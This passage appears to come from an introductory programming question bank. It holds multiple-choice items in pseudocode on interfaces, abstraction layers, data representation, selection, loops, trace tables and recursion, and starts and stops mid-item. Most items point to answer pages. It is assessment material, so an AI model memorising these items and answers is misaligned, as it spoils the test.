05   for (int i = 1; i < v.size[1]; i = i + 1)
06     if (v[i] > v[at])
07       at = i
08   return at
09
10 int[] heights = [3, 8, 8, 2]
11 output(peak(heights))
```

Which statement most accurately assigns responsibility for the failure?

A. The documentation is at fault, since an interface has to be rewritten whenever an implementation changes, and this description was not revised along with the code.

B. The student's program relied on something that the documentation does not promise, so the change in behavior is not a fault of the library.

C. The library's authors are at fault, since they did not give callers the source code showing how ties are resolved.

D. The library's authors are at fault, since any behavior that has been observed in a function becomes part of what they have promised to all of its callers.

Answer: page 988

0002.e.3.3

A student's function appears below, with a call that a teammate wrote. The student is considering several later edits to the function and wants to know how they would affect the teammate's work.

```
01 function area(int w, int h)
02   return w * h
03
04 output(area(3, 4))
```

Which edit would require the teammate to change line 04?

A. replacing the multiplication with a loop that adds `w` to a running total `h` times

B. adding a third required parameter, `int scale`, to the function's header

C. renaming `w` and `h` to `width` and `height` inside the function

D. storing the product in a local variable and returning that variable

Answer: page 988

0002.e.3.4

Two teams are building a school store's website. One team builds the page, and the other builds the code that looks up prices, which is not yet ready. So that its work can proceed, the page team writes a stand-in for the agreed function on lines 02-03. The real version will read prices from a database.

```
01 /* agreed by both teams: get_price(int product_id) returns the price in cents as an int */
02 function get_price(int product_id)
03   return 1250
04
05 function cart_cents(int product_id, int qty)
06   return get_price(product_id) * qty
07
08 output(cart_cents(77, 3))
```

On which of the following can the page team most appropriately rely when the real version arrives?

A. The function will return `1250`, since a value that a program returns during testing remains a fixed part of the agreement between the teams.

B. The function's database query will use a variable named `product_id`, so the page must use that name too.

C. The function will accept a product number as an `int` and return that product's price in cents, also as an `int`.

D. The function will read each price from a table stored in memory, so that the time taken by repeated calls will be the same as for the stand-in.

Answer: page 988

0002.e.3.5

A student maintains a gradebook program. The first section of the program, on lines 01-09, belongs to the student, and a classmate wrote the rest. The documentation on line 04 is all that the student has promised. The student now decides to replace the two arrays with one map, `String int{} table`, and to rewrite the body of `points_for` so that it continues to do what the documentation states.

```
01 String[] names = ["Ana", "Ben", "Cho"]
02 int[] points = [7, 9, 4]
03
04 /* points_for(String who) returns the points recorded for who, or -1 if who is not
   ↪  recorded. */
05 function points_for(String who)
06   for (int i = 0; i < names.size[1]; i = i + 1)
07     if (names[i] == who)
08       return points[i]
09   return -1
10
11 /* written by a classmate */
12 function passed(String who)
13   return points_for(who) >= 5
14
15 function class_best()
16   int best = points[0]
17   for (int i = 1; i < points.size[1]; i = i + 1)
18     if (points[i] > best)
19       best = points[i]
20   return best
21
22 output(points_for("Ben"))
23 output(passed("Cho"))
24 output(class_best())
```

Which part of the classmate's code will stop working after the student's change?

A. `output(passed("Cho"))`, because a name that fails the comparison cannot be found in a map without first being added to it by the caller

B. `output(points_for("Ben"))`, because calling a function with a `String` argument requires that the function search an array of `String` values

C. `passed`, because its comparison with `5` depends on the values being stored in an array

D. `class_best`, because it reads the `points` array directly instead of going through the documented function

Answer: page 988

Layers of abstraction

0002.e.4.1

A student writes a note-taking application in a high-level language. The application saves each note by calling one library function with a file name and the note's text. A classmate reads all 40 lines of the application and finds no instructions about which storage cells on the drive receive each bit, and asks where those details are handled. Which answer is most accurate?

A. in the application itself, since the language copies the hidden storage instructions into the application's source file

B. in the operating system, whose file services the language's library calls and which hide how the drive records the bits

C. in the drive's transistors, which receive the note's text from the application directly, without any other software taking part

D. in the language's translator, which writes the drive's bit layout into each program while the program is being translated

Answer: page 988

0002.e.4.2

A chip manufacturer releases a processor whose internal circuits have been redesigned, with far more transistors and a different arrangement of logic gates. A school's ten-year-old programs, which were distributed only as machine code, run correctly on the new processor without being translated again. Which statement best explains why the old programs still run?

A. The operating system converts each old program back into its high-level source and translates it again for the new design.

B. Machine code describes what a program does in general terms, so any processor can run it, whatever instructions it accepts.

C. The new processor accepts the same set of machine instructions, so the code that programs rely on keeps its meaning.

D. The new processor contains the old processor's transistors as a separate section, which it switches on for older programs.

Answer: page 989

0002.e.4.3

In an introductory course, a student asks how the statement `output(total)` can make pixels on the screen change, since nothing in the statement mentions voltages, circuits, or the display. Which explanation of what happens is most accurate?

A. The display contains its own processor that runs high-level programs as they are written, so the statement needs no translation of any kind.

B. The statement is translated into machine code and uses operating system services, each layer relying on the one below, until transistor circuits act.

C. The application layer lies below the programming language, so the statement asks an application, such as a web browser, to draw the value on the screen.

D. The statement is sent directly to the transistors in the display, which read its characters and set their voltages to match the name `total` and its value.

Answer: page 989

0002.e.4.4

A student writes the program below in a high-level language and runs it on a laptop. The student then asks what the processor itself carries out when line 03 runs, since the processor has no notion of what a variable named `total` is.

```
01 int price = 18
02 int tax = 2
03 int total = price + tax
04 output(total)
```

Which answer is most accurate?

A. the transistors' stored copy of the program's text, which they compare letter by letter with a table of known arithmetic statements

B. a request to the operating system, which performs the addition for the program and returns the sum to the variable named `total`

C. machine instructions, produced from the statement, that load two values, add them, and store the sum, all carried out by logic gates

D. the statement exactly as written, since the processor's logic gates are designed to recognize typed names such as `price` and `tax`

Answer: page 989

0002.e.4.5

A student building a small game claims that an application programmer has to understand logic gates in order to write a correct game, because every game ultimately runs on logic gates. Which

statement best evaluates the student's claim?

A. The claim is mistaken: the programmer can rely on the language and the operating system without reasoning about the gates beneath them.

B. The claim is correct, since a game's statements are carried out by logic gates directly, without passing through any other layers.

C. The claim is correct only for games written in high-level languages, since those run on the operating system rather than on hardware.

D. The claim is mistaken, since games run entirely in the application layer and never reach logic gates or transistors at all.

Answer: page 989

Data abstraction

0002.e.5.1

A student writes a checkout program for a school library, storing each book as the map shown. The program only needs to report whether a book can be lent and, later, to search by title and author. A classmate suggests adding each book's page count, paper weight, and cover color, since these are all true facts about the book.

```
01 /* One record per book, holding what the checkout desk uses */
02 String String{} book = {"title": "Kindred", "author": "Octavia Butler", "status": "shelf"}
03
04 function can_lend(String String{} b)
05   return b{"status"} == "shelf"
06
07 output(can_lend(book))
08 book{"status"} = "loaned"
09 output(can_lend(book))
```

Which response to the classmate is best?

A. The extra facts should be added, since a record represents a book accurately only when it includes every property the book has.

B. The extra facts should be left out, since a `String String{}` map cannot hold a value such as a page count, which is a number.

C. The extra facts should be stored in a second copy of the record, so that the program can choose which version to use for each task.

D. The extra facts serve none of the program's tasks, so leaving them out keeps each record simpler without losing anything needed.

Answer: page 989

0002.e.5.2

A theater club's ticket program records the seats in its small hall, using `0` for an open seat and `1` for a sold seat. An earlier version stored each of the 12 seats in its own variable, named `seat_a1`, `seat_a2`, and so on, and needed 12 separate `if` statements to count the open seats.

```
01 /* 0 marks an open seat and 1 marks a sold seat */
02 int[][] seats = [[1, 1, 0, 0],
03                  [0, 1, 1, 1],
04                  [0, 0, 0, 1]]
05 int available = 0
06 for (int r = 0; r < seats.size[0]; r = r + 1)
07   for (int c = 0; c < seats.size[1]; c = c + 1)
08     if (seats[r, c] == 0)
09       available = available + 1
10 output(available)
```

Compared with the earlier version, the two-dimensional array most directly allows the program to:

A. treat every seat by its row and column within one structure, so that a pair of loops can examine all of them.

B. change its own size automatically whenever the theater adds a row of seats to the hall, without any edits.

C. hold more seats than the computer's memory could hold if each seat were stored in a separately named variable.

D. store a different type of value in each seat, such as a buyer's name in one seat and a price in another.

Answer: page 989

0002.e.5.3

A credit union's budgeting program flags accounts whose balance falls below a minimum, so that staff can send each of those customers a reminder. The program below runs without error, but the staff member who reads the output cannot send any reminders.

```
01 /* Lists each balance below the minimum, for reminders */
02 int[] balances = [120, 45, 300, 18]
03 int minimum = 50
04 for (int i = 0; i < balances.size[1]; i = i + 1)
05   if (balances[i] < minimum)
06     output(balances[i])
```

Which statement best describes the weakness in how the program represents its data?

A. The values should be stored in a `float[]`, since money has cents, and this choice of type is why no reminders can be sent.

B. The loop should begin at index `1`, since the first element of every array is reserved for the number of values it holds.

C. The representation leaves out a detail the task needs, since nothing connects each balance to the customer who holds it.

D. The representation keeps too much detail, since exact balances are unnecessary when the task is concerned only with low ones.

Answer: page 989

0002.e.5.4

A school district's transportation office plans bus routes with a program that represents each student by two values only: the number of the stop where the student boards and the number of the bus that serves it. A parent objects that the program does not really know the children, since it records nothing about their names, ages, or interests. Which response best explains the program's design?

A. The program omits the other facts because two numbers take up less memory, and memory is the main reason for choosing what to store.

B. Planning routes requires only where each student boards and which bus serves that stop, so the other facts were deliberately left out.

C. The program does record the other facts, since any information about a student that a district holds is copied into every system it uses.

D. The program should record the other facts, since a representation of a person is accurate only if it describes the person completely.

Answer: page 989

0002.e.5.5

A school's bell-schedule program stores each time of day as one `int`: the number of minutes after midnight, so that 8:00 is stored as `480`. A teacher who maintains the program asks why it does not store hours, minutes, and a label such as `"AM"` for each time, as the printed schedule does.

```
01 /* Each time is stored as minutes after midnight */
02 int[] starts = [480, 535, 590, 680]
03 int[] ends = [530, 585, 635, 730]
04 for (int p = 0; p < starts.size[1]; p = p + 1)
05   output(ends[p] - starts[p])
06 int day_length = ends[3] - starts[0]
07 output(day_length)
```

Which statement best explains the benefit of this representation for the program's task?

A. An `int` uses less memory than a `String`, and saving memory is the main reason for choosing any program's representation.

B. The schedule can now never be shown in hours and minutes, which prevents students from misreading times on the printed schedule.

C. Subtracting one stored time from another gives a length in minutes, since the representation keeps only what the calculations use.

D. Minutes after midnight hold more information than hours and minutes, so the same value can also record the date of each period.

Answer: page 989

0002.f Algorithms: control structures and patterns

Read about this in the content summary: 0002.f, page 61.

Sequencing

0002.f.1.1

A game designer is testing the scoring rule for one level of a target game. A player earns 10 points per hit, the bonus round then doubles those points, and 5 points are then subtracted for each missed target. For a player with 12 hits and 3 misses, the designer expects the second value displayed to be `225`. A teammate's version of the scoring code is shown below.

```
01 int score = 12 * 10
02 output(score)
03 score = score - 3 * 5
04 score = score * 2
05 output(score)
```

Which statement correctly describes what the teammate's version displays?

A. `210` twice, because an output statement displays the value that `score` holds after every statement has run

B. `120` and then `240`, because the doubling is the last assignment to `score`, so it replaces the earlier subtraction

C. `120` and then `225`, because the program applies the same two operations, and their order does not affect the final score

D. `120` and then `210`, because the penalty is subtracted before the doubling, so the penalty is doubled as well

Answer: page 989

0002.f.1.2

A track coach's program reads two race times, in seconds, and should display them with the faster time, which is the smaller number, first. When the coach enters `58` and then `52`, the program displays `52` twice, and the time of `58` seconds is lost.

```
01 /* Displays two race times, fastest first */
02 int first = input()
03 int second = input()
04 if (first > second)
05   first = second
06   second = first
07 output(first)
08 output(second)
```

Which replacement for lines 05-06 would make the program display `52` and then `58` for these entries?

A.

```
second = first
first = second
```

B.

```
int hold = second
first = second
second = hold
```

C.

```
int hold = first
first = second
second = hold
```

D.

```
int hold = first
first = second
second = first
```

Answer: page 989

0002.f.1.3

A student club sells shirts, mugs, and stickers online, and orders under $50 pay $7 for shipping. The club's treasurer writes the program below to print a receipt, then tests it with an order whose items come to $45. The receipt displays the subtotal correctly, but it shows `0` as the amount due, although the treasurer expected `52`.

```
01 /* Prints a receipt for a club's online fundraiser order */
02 String[] items = ["T-shirt", "Mug", "Sticker"]
03 int[] prices = [15, 9, 2]
04 int[] qty = [2, 1, 3]
05 int subtotal = 0
```

```
06 int shipping = 7
07 int total = 0
08
09 for (int i = 0; i < items.size[1]; i = i + 1)
10   subtotal = subtotal + prices[i] * qty[i]
11 output("Subtotal:")
12 output(subtotal)
13 output("Total due:")
14 output(total)
15 if (subtotal >= 50)
16   shipping = 0
17 total = subtotal + shipping
18 output("Thank you for your order")
```

Which statement best explains why the receipt shows `0` as the amount due?

A. The variable `total` was given the value `0` when it was declared, so a later assignment to it has no effect on what the program displays.

B. The amount due is displayed before the statement that calculates it runs, so the receipt shows the value that `total` held at that point.

C. The subtotal is below `50`, so the condition is false and the statement that calculates the amount due is skipped along with the shipping change.

D. The loop adds each item's cost to `subtotal` rather than to `total`, so `total` is reset to `0` when each pass of the loop finishes.

Answer: page 989

0002.f.1.4

A teacher's program prints a numbered sign-up sheet for a science fair, displaying each entry's number on one line and the student's name on the next. The teacher wants the entries numbered from `1`, but the program displays `0`, `"Ari"`, `1`, `"Bea"`, and so on. The teacher would like to fix this without changing the starting value on line 02.

```
01 String[] names = ["Ari", "Bea", "Cal", "Dee"]
02 int number = 0
03 for (int i = 0; i < names.size[1]; i = i + 1)
04   output(number)
05   output(names[i])
06   number = number + 1
```

Which change would number the entries from `1` through `4`?

A. changing the loop's condition to `i <= names.size[1]`, so that the loop makes one more pass through the names

B. moving the statement that adds `1` to `number` so that it runs first in each pass, before either output statement

C. starting the loop at `i = 1`, so that the first pass of the loop belongs to the first entry on the sign-up sheet

D. moving the statement that adds `1` to `number` to follow the loop, so that it runs once every name has been displayed

Answer: page 989

0002.f.1.5

A family and consumer sciences teacher writes the program below to scale a recipe written for 3 servings up to 10 servings. Each amount is multiplied by the new number of servings and then divided by the old number. A student who is tidying the program proposes exchanging one pair of adjacent statements.

```
01 /* Scales a recipe from 3 servings to 10 servings, amounts in grams */
02 int servings = 3
03 int target = 10
04 int flour = 250
05 flour = flour * target
06 flour = flour / servings
07 output(flour)
08 int sugar = 100
09 sugar = sugar * target
10 sugar = sugar / servings
11 output(sugar)
```

Exchanging which pair of adjacent statements would leave the program's output unchanged?

A. `flour = flour * target` and `flour = flour / servings`

B. `int sugar = 100` and `sugar = sugar * target`

C. `flour = flour / servings` and `output(flour)`

D. `output(flour)` and `int sugar = 100`

Answer: page 990

Selection

0002.f.2.1

A school displays an air-quality label on its outdoor sign each hour. Readings up to 50 are `"good"`, 51 to 100 are `"moderate"`, 101 to 150 are `"sensitive"`, and readings above 150 are `"unhealthy"`. The program should also count the hours labeled `"unhealthy"`. For the readings shown, it displays `"good"` and then `"moderate"` three times, followed by `0`.

```
01 /* Labels each hourly air-quality reading for the school's outdoor sign */
02 int[] readings = [42, 87, 160, 120]
03 int alerts = 0
04 for (int h = 0; h < readings.size[1]; h = h + 1)
05   int aqi = readings[h]
06   String label = "good"
07   if (aqi > 50)
08     label = "moderate"
09   elseif (aqi > 100)
10     label = "sensitive"
11   elseif (aqi > 150)
12     label = "unhealthy"
13   output(label)
14   if (label == "unhealthy")
15     alerts = alerts + 1
16 output(alerts)
```

Which replacement for lines 07-12 would make the program label every reading correctly?

A.

```
if (aqi > 150)
  label = "unhealthy"
if (aqi > 100)
  label = "sensitive"
if (aqi > 50)
  label = "moderate"
```

B.

```
if (aqi > 150)
  label = "unhealthy"
elseif (aqi > 100)
  label = "sensitive"
elseif (aqi > 50)
  label = "moderate"
```

C.

```
if (aqi > 50)
  label = "unhealthy"
elseif (aqi > 100)
  label = "sensitive"
elseif (aqi > 150)
  label = "moderate"
```

D.

```
if (aqi <= 100)
  label = "moderate"
elseif (aqi <= 150)
```

```
    label = "sensitive"
  elseif (aqi > 150)
    label = "unhealthy"
```

Answer: page 990

0002.f.2.2

A museum sells $20 tickets and gives each visitor at most one discount, checking in this order: visitors 65 or older save $5, members save $8, and children under 12 save $10. Only the first discount that applies is given. The program below should display `15`, `12`, `12`, and `10` for the four visitors tested, but it gives some visitors more than one discount.

```
01 /* Each visitor receives only the first discount that applies */
02 function ticket(int age, bool member)
03   int price = 20
04   if (age >= 65)
05     price = price - 5
06   if (member)
07     price = price - 8
08   if (age < 12)
09     price = price - 10
10   return price
11
12 output(ticket(70, TRUE))
13 output(ticket(8, TRUE))
14 output(ticket(30, TRUE))
15 output(ticket(8, FALSE))
```

Which replacement for lines 06-09 applies the museum's policy correctly?

A.

```
if (member AND age < 65)
  price = price - 8
if (age < 12)
  price = price - 10
```

B.

```
elseif (member)
  price = price - 8
if (age < 12)
  price = price - 10
```

C.

```
elseif (member)
  price = price - 8
elseif (age < 12)
  price = price - 10
```

D.

```
if (member)
  price = price - 8
elseif (age < 12)
  price = price - 10
```

Answer: page 990

0002.f.2.3

A student who first learned to program in a language that treats any nonzero number as true writes the program below to label a locker number as odd or even. A reviewer who checks the program against the Pseudo Code Reference Sheet marks line 02 as invalid, although the student says the same line worked in the earlier language.

```
01 int locker = input()
02 if (locker % 2)
03   output("odd")
04 else
05   output("even")
```

Which replacement for line 02 is valid and keeps the behavior that the student intended?

A. `if (locker % 2 == 1)`

B. `if (locker % 2 == 0)`

C. `if (locker % 2 == "odd")`

D. `if (locker % 2 = 1)`

Answer: page 990

0002.f.2.4

A public library's program computes late fees in cents. Books returned on time owe nothing. Reference books owe 100 cents per day late. Other books owe 10 cents per day for up to 7 days late, 25 cents per day for 8 to 30 days late, and a flat 500 cents after that. A reviewer says that two of the conditions test more than they need to.

```
01 /* Computes the late fee, in cents, for a returned library book */
02 function late_fee(int days_late, bool reference)
03   int fee = 0
04   if (days_late <= 0)
05     fee = 0
06   elseif (reference)
07     fee = 100 * days_late
08   elseif (days_late > 0 AND days_late <= 7)
09     fee = 10 * days_late
10   elseif (days_late > 7 AND days_late <= 30)
```

```
11     fee = 25 * days_late
12   else
13     fee = 500
14   return fee
15
16 output(late_fee(0, TRUE))
17 output(late_fee(3, FALSE))
18 output(late_fee(12, FALSE))
19 output(late_fee(45, TRUE))
20 output(late_fee(45, FALSE))
```

Which statement best describes a simplification that keeps the function's behavior the same?

A. removing `days_late > 0 AND` and `days_late > 7 AND` from the two longer conditions, since each part is already known to be true whenever its branch is reached

B. removing both longer conditions and letting the `else` branch assign each remaining fee, since `else` handles the cases that remain after the earlier tests

C. replacing each `elseif` with `if`, since the conditions describe separate groups of books, so one branch would be true at a time

D. placing the branches in whatever order is most readable, since the conditions do not overlap, so the order of testing does not change the result

Answer: page 990

0002.f.2.5

A school's planning office needs a calendar program that reports whether a year is a leap year. Under the calendar's rule, a year divisible by 4 is a leap year, except that a year divisible by 100 is not, unless it is also divisible by 400. A student writes the function below and tests it on four years.

```
01 /* Reports whether each year is a leap year */
02 function is_leap(int y)
03   bool leap = FALSE
04   if (y % 4 == 0)
05     leap = TRUE
06   elseif (y % 100 == 0)
07     leap = FALSE
08   elseif (y % 400 == 0)
09     leap = TRUE
10   return leap
11
12 int[] years = [1900, 2000, 2024, 2023]
13 for (int i = 0; i < years.size[1]; i = i + 1)
14   output(is_leap(years[i]))
```

For which of the years tested does the function give a wrong result?

A. 1900 and 2000, because both years are divisible by 100, so the branch that sets `leap` to `FALSE` runs for both years

B. 2023 only, because no condition in the chain is true for 2023, so the function returns no value for that year

C. 1900 only, because every year divisible by 4 sets `leap` to `TRUE`, and the later test for divisibility by 100 is then skipped

D. none of the years, because the chain includes every part of the rule, and the most specific condition that is true takes effect

Answer: page 990

Iteration: for and while loops

0002.f.3.1

A student club's website asks a visitor for the club's code word, keeps asking until it is typed correctly, and then displays the number of tries. Some visitors succeed on the first try and others need many, so the number of tries cannot be known in advance. A visitor who types `"cat"`, `"dog"`, and then `"otter"` should see `"Try again"` twice, followed by `3`.

```
01 /* Asks for the club's code word until it is typed correctly */
02 String secret = "otter"
03 String guess = input()
04 int tries = 1
05 /* execute selected code here */
06   output("Try again")
07   guess = input()
08   tries = tries + 1
09 output(tries)
```

Which line, executed on line 05, completes the program?

A. `for (int i = 0; i < 3; i = i + 1)`

B. `while (guess != secret)`

C. `if (guess != secret)`

D. `while (guess == secret)`

Answer: page 990

0002.f.3.2

A student writes the program below for a rocket club's launch display. It is meant to display the numbers from `10` down to `1` and then `"Liftoff"`. When the program runs, however, it displays only `"Liftoff"`.

```
01 int t = 10
02 while (t == 0)
03   output(t)
04   t = t - 1
05 output("Liftoff")
```

Which statement best explains this result?

A. The variable `t` has to be declared inside the loop's body, since a variable that a loop's condition tests must be created in that loop.

B. The loop's condition is false before the first pass, because a `while` condition states when to keep repeating, not when to stop.

C. A `while` loop is intended for an unknown number of repetitions, so a countdown with a known length of ten cannot run inside one.

D. The loop repeats ten times, but `t` is decreased right after it is displayed, so each number is replaced before it reaches the screen.

Answer: page 990

0002.f.3.3

A school garden club records daily rainfall, in millimeters, and wants to know how many days it takes for the month's total to reach 15 millimeters. The program below should display the running total for each day and then the number of days counted. Instead, it displays `4`, `8`, `12`, `16`, and then `1`.

```
01 /* Adds daily rainfall until the total reaches the goal */
02 int[] rain = [4, 0, 7, 3, 9, 2, 5]
03 int goal = 15
04 int total = 0
05 int day = 0
06 while (total < goal AND day < rain.size[1])
07   total = total + rain[day]
08   output(total)
09 day = day + 1
10 output(day)
```

Which statement best explains this output?

A. The condition joins its two tests with `AND`, so the loop stops as soon as either test becomes true, before most days are read.

B. The statement that advances `day` is not indented under the loop, so every pass adds the first day's rainfall again.

C. Array positions begin at `1`, so `rain[day]` with `day` equal to `0` reads a default value on every pass.

D. `total` is displayed after it is updated, so each value shown is one day ahead of the rainfall that the program has actually read.

Answer: page 990

0002.f.3.4

An usher's program lists every third seat in a row of 20 seats, starting at seat 2, for a concert with spaced seating. Because the number of seats to list is known before the loop begins, a reviewer suggests rewriting the loop as a `for` loop that produces exactly the same output.

```
01 int seat = 2
02 while (seat <= 20)
03   output(seat)
04   seat = seat + 3
```

Which replacement for lines 01-04 displays the same values?

A.

```
for (int seat = 0; seat < 7; seat = seat + 1)
  output(seat)
```

B.

```
for (int seat = 2; seat <= 20; seat = seat + 3)
  output(seat)
```

C.

```
for (int seat = 2; seat <= 20; seat = seat + 1)
  output(seat)
  seat = seat + 3
```

D.

```
for (int seat = 2; seat < 20; seat = seat + 3)
  output(seat)
```

Answer: page 990

0002.f.3.5

A mathematics teacher introduces a savings plan in which a student saves 1 cent on the first day and doubles the deposit on each later day. Before running the program below, the class is asked to predict how many days the plan takes to reach at least 100 cents and how much will have been saved by then.

```
01 /* Counts the days until a savings goal of 100 cents is met */
02 int saved = 0
03 int deposit = 1
04 int days = 0
05 while (saved < 100)
```

```
06   saved = saved + deposit
07   deposit = deposit * 2
08   days = days + 1
09 output(days)
10 output(saved)
```

Which output would the program produce?

A.

```
>>> 7
>>> 127
```

B.

```
>>> 6
>>> 63
```

C.

```
>>> 7
>>> 128
```

D.

```
>>> 7
>>> 100
```

Answer: page 990

Tracing a loop

0002.f.4.1

A physics student writes the program below to fill in a table of distances measured at odd-numbered seconds, leaving the even-numbered positions for later. Before running it, the student builds a trace table that records `t` and the element changed on each pass of the first loop.

```
01 /* Fills in distances recorded at odd-numbered seconds */
02 int[] marks = [0, 0, 0, 0, 0, 0]
03 int t = 1
04 while (t < 6)
05   marks[t] = marks[t - 1] + 2 * t - 1
06   t = t + 2
07 for (int k = 0; k < marks.size[1]; k = k + 1)
08   output(marks[k])
```

Which output would the program produce?

A.

```
>>> 0
>>> 1
```

```
>>> 0
>>> 5
>>> 0
>>> 0
```

B.

```
>>> 0
>>> 1
>>> 4
>>> 9
>>> 16
>>> 25
```

C.

```
>>> 0
>>> 1
>>> 0
>>> 5
>>> 0
>>> 9
```

D.

```
>>> 0
>>> 1
>>> 0
>>> 6
>>> 0
>>> 15
```

Answer: page 990

0002.f.4.2

A student's program should find the longest stretch of consecutive days above freezing in eight days of readings, and count the freezing days. It displays `4` and `2`, but the longest stretch in the data is 3 days. The student builds a trace table recording `d`, `run`, and `longest` after each pass and compares every row with what was intended.

```
01 /* Finds the longest run of days above freezing, and counts freezing days */
02 int[] temps = [3, 5, -2, 4, 6, 8, -1, 2]
03 int run = 0
04 int longest = 0
05 int freezing = 0
06 for (int d = 0; d < temps.size[1]; d = d + 1)
07   if (temps[d] > 0)
08     run = run + 1
09   else
10     run = run - 1
```

```
11     freezing = freezing + 1
12   if (run > longest)
13     longest = run
14 output(longest)
15 output(freezing)
```

In which pass does the table first show a value that differs from the student's intention?

A. the pass in which `d` is `2`, when the freezing day leaves `run` at `1` instead of starting it over at `0`

B. the pass in which `d` is `5`, when `longest` becomes `4` and first goes beyond the true longest stretch

C. the pass in which `d` is `0`, when `run` and `longest` both become `1` before any freezing day is read

D. the pass in which `d` is `7`, the last pass, since a wrong final output is produced by the loop's last pass

Answer: page 990

0002.f.4.3

A student models an elevator in a video game. The elevator starts on floor 17 and moves down 4 floors at a time, making one stop after each move, for as long as it is above floor 2. The student's teacher asks the class to trace the loop by hand and predict both values that it displays.

```
01 int floor = 17
02 int stops = 0
03 while (floor > 2)
04   floor = floor - 4
05   stops = stops + 1
06 output(stops)
07 output(floor)
```

Which output would the program produce?

A.

```
>>> 5
>>> -3
```

B.

```
>>> 3
>>> 5
```

C.

```
>>> 4
>>> 1
```

D.

```
>>> 4
>>> 5
```

Answer: page 990

0002.f.4.4

A school library receives $30 in donations in each even-numbered month and spends $10 times the month's number on new books in each odd-numbered month. A student volunteer writes the program below to project the fund after five months, and asks classmates to trace it by hand before running it.

```
01 /* Tracks a library's book fund over five months */
02 int balance = 50
03 int spent = 0
04 for (int month = 1; month <= 5; month = month + 1)
05   if (month % 2 == 0)
06     balance = balance + 30
07   else
08     balance = balance - 10 * month
09     spent = spent + 10 * month
10 output(balance)
11 output(spent)
```

Which output would the program produce?

A.

```
>>> 70
>>> 40
```

B.

```
>>> 80
>>> 60
```

C.

```
>>> 20
>>> 90
```

D.

```
>>> 20
>>> 150
```

Answer: page 990

0002.f.4.5

At a school play, a volunteer enters each ticket sale, in dollars, at the door and enters `-1` when the doors close. A student tests the program below by entering `5`, `10`, `-1`, and then `7`, the last value having been typed by mistake after the doors closed.

```
01 /* Totals ticket sales entered at the door; -1 ends the night */
02 int total = 0
```

```
03 int count = 0
04 int sale = input()
05 while (sale != -1)
06   total = total + sale
07   count = count + 1
08   sale = input()
09 output(count)
10 output(total)
```

Which output would the program produce?

A.

```
>>> 2
>>> 15
```

B.

```
>>> 3
>>> 15
```

C.

```
>>> 3
>>> 14
```

D.

```
>>> 4
>>> 21
```

Answer: page 991

Nested loops

0002.f.5.1

A student council's order form must list every shirt option, one combination of color and size per line, followed by the number of options. The council's treasurer writes the program below and, before running it, asks another member to predict what it will display.

```
01 /* Lists every shirt option for an order form */
02 String[] colors = ["red", "gray", "navy"]
03 String[] sizes = ["S", "M", "L", "XL"]
04 int options = 0
05 for (int c = 0; c < colors.size[1]; c = c + 1)
06   for (int s = 0; s < sizes.size[1]; s = s + 1)
07     output(concat(colors[c], " ", sizes[s]))
08     options = options + 1
09 output(options)
```

Which statement correctly describes the output?

A. Each color is paired with all four sizes before the next color begins, so the fifth line is `"gray S"` and the last line is `7`.

B. Each size is paired with all three colors before the next size begins, so the fifth line is `"gray M"` and the last line is `12`.

C. Each color is paired with all four sizes before the next color begins, so the fifth line is `"gray S"` and the last line is `12`.

D. The colors and sizes advance together, one step on each pass, so only three pairs are listed and the last line is `3`.

Answer: page 991

0002.f.5.2

A coach schedules a round-robin tournament for five teams, numbered `0` through `4`, in which every team plays every other team exactly once. The coach's program counts the games by pairing each team only with the teams numbered after it.

```
01 int games = 0
02 for (int a = 0; a < 5; a = a + 1)
03   for (int b = a + 1; b < 5; b = b + 1)
04     games = games + 1
05 output(games)
```

Which output would the program produce?

A. `>>> 10`

B. `>>> 15`

C. `>>> 20`

D. `>>> 25`

Answer: page 991

0002.f.5.3

A teacher's gradebook stores three quiz scores for each of three students, with one student per row. The program below should display each student's own total, which are `24`, `25`, and `28`, but it displays `24`, `49`, and `77` instead.

```
01 /* Displays each student's total across three quizzes */
02 int[][] quiz = [[8, 9, 7],
03                 [6, 10, 9],
04                 [9, 9, 10]]
05 int total = 0
06 for (int r = 0; r < quiz.size[0]; r = r + 1)
07   for (int c = 0; c < quiz.size[1]; c = c + 1)
```

```
08     total = total + quiz[r, c]
09   output(total)
```

Which replacement for lines 05-09 would display each student's own total?

A.

```
for (int r = 0; r < quiz.size[0]; r = r + 1)
  int total = 0
  for (int c = 0; c < quiz.size[1]; c = c + 1)
    total = total + quiz[r, c]
  output(total)
```

B.

```
int total = 0
for (int c = 0; c < quiz.size[1]; c = c + 1)
  for (int r = 0; r < quiz.size[0]; r = r + 1)
    total = total + quiz[r, c]
  output(total)
```

C.

```
int total = 0
for (int r = 0; r < quiz.size[0]; r = r + 1)
  for (int c = 0; c < quiz.size[1]; c = c + 1)
    total = total + quiz[r, c]
    output(total)
```

D.

```
for (int r = 0; r < quiz.size[0]; r = r + 1)
  for (int c = 0; c < quiz.size[1]; c = c + 1)
    int total = 0
    total = total + quiz[r, c]
  output(total)
```

Answer: page 991

0002.f.5.4

A student in a text-art club stores a small picture as a two-dimensional array of `String` values, with two rows and three columns. The student writes the program below to display the picture in a new arrangement, then asks a partner to predict the output before running it.

```
01 String[][] art = [["#", ".", "."], ["#", "#", "."]]
02 for (int c = 0; c < art.size[1]; c = c + 1)
03   String line = ""
04   for (int r = 0; r < art.size[0]; r = r + 1)
05     line = concat(line, art[r, c])
06   output(line)
```

Which output would the program produce?

A.

```
>>> "##"
>>> ".#"
>>> ".."
```

B.

```
>>> "##"
>>> "#."
>>> ".."
```

C.

```
>>> "##"
>>> ".#"
```

D.

```
>>> "#.."
>>> "##."
```

Answer: page 991

0002.f.5.5

A parking attendant's program should report the first row of a lot that has an open space, marked `0`, and then display `"done"`. The attendant expected the output to be `1` and then `"done"`, but the program displays `1`, `2`, and then `"done"`.

```
01 /* Reports the first row of the lot that has an open space */
02 int[][] lot = [[1, 1, 1, 1],
03                [1, 0, 1, 0],
04                [0, 1, 1, 1]]
05 for (int r = 0; r < lot.size[0]; r = r + 1)
06   for (int c = 0; c < lot.size[1]; c = c + 1)
07     if (lot[r, c] == 0)
08       output(r)
09       break
10 output("done")
```

Which statement best explains the extra output?

A. `break` leaves only the `if` statement, so both loops continue, and every open space in the whole lot is reported in turn.

B. The outer loop's condition uses `lot.size[0]`, which counts the spaces in a row rather than the rows, so it makes too many passes.

C. `break` leaves only the loop over the spaces in a row, so the loop over the rows continues and finds an open space in row 2.

D. `break` ends both loops, but the outer loop's header is evaluated once more afterward, which adds one more row to the search.

Answer: page 991

Recursion

0002.f.6.1

At a club meeting, every member shakes hands with every other member exactly once. A student reasons that the newest member shakes hands with each of the others, and writes the recursive function below to count the handshakes for a meeting of `n` members.

```
01 function shakes(int n)
02   if (n <= 1)
03     return 0
